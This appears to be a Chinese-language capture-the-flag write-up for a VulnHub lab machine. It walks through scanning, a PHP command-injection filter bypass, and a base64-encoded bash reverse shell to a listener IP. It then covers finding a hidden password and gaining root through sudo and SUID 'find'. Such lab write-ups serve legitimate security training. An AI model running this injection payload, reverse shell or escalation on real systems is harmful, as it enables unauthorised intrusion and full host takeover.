靶机地址
https://www.vulnhub.com/entry/haclabs-no_name,429/
靶机测试
nmap扫描
└─$ nmap -T5 -A 192.168.1.100 -oA hl-ports
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-12 11:16 CST
Nmap scan report for 192.168.1.100
Host is up (0.00040s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds
zsh: segmentation fault nmap -T5 -A 192.168.1.100 -oA hl-ports
开放80端口
目录扫描
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/big.txt -t 100 -x php
访问主页
经过测试发现命令执行漏洞
http://192.168.1.100/superadmin.php
分析php代码
<!--?php
if (isset($_POST['submitt']))
{
$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
$pinged=$_POST['pinger'];
$newStr = str_replace($word, "", $pinged);
if(strcmp($pinged, $newStr) == 0)
{
$flag=1;
}
else
{
$flag=0;
}
}
if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre-->
绕过命令执行反弹 shell
可以看到words设置黑名单,过滤了很多字符
我们可以执行
bash -i >& /dev/tcp/192.168.1.53/9090 0>&1 转成 base64
echo "bash -i >& /dev/tcp/192.168.1.53/9090 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTA5MCAwPiYxCg==
监听本地 9090 端口
nc -lvnp 9090
127.0.0.1|echo
"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTA5MCAwPiYxCg=="|base64 -d|bash
切换 python shell
python3 -c 'import pty;pty.spawn("/bin/bash")';
然后再解决一下乱码问题,上篇文章已经写过了,这里省略
查看当前用户
cat /etc/passwd | grep bash
三个用户 刚好三个 flag 最终的是 root 用户下的 flag.txt
第一个 flag
cat /home/yash/flag1.txt
得到第一个 flag1.txt
Due to some security issues,I have saved haclabs password in a hidden file.
Due to some security issues,I have saved haclabs password in a hidden file. 这段的意思是 haclabs 的密码隐藏在一个文件里面
搜索隐藏文件
文件是 yash 用户建立的 可以使用搜索用户的文件
find / -type f -user yash 2>/dev/null
find / -name ".*" -print
find / -name ".*" 2>/dev/null
搜索所有隐藏文件
用户 haclabs 密码 haclabs1234
第二个 flag
su haclabs 登录 查看当前的 flag2.txt
其实也可以用 www 的权限访问 获取 flag2.txt
特权提升
sudo 提权 第一种方法
查看录下有sudo_as_admin_successful,
sudo -l
find 命令不需要密码
sudo find . -exec /bin/sh \; -quit
第二种 suid 提权
查找 suid 文件
find /usr -perm -u=s -type f 2>/dev/null
find test -exec /bin/bash -p \; -quit
得到第三个 flag
总结
nmap 扫描
gobuster 目录扫描
分析 php 漏洞
绕过命令执行漏洞
反弹 SHELL
搜索隐藏文件
linux suid 提权
linux sudo 提权
人间忽晚,山河已秋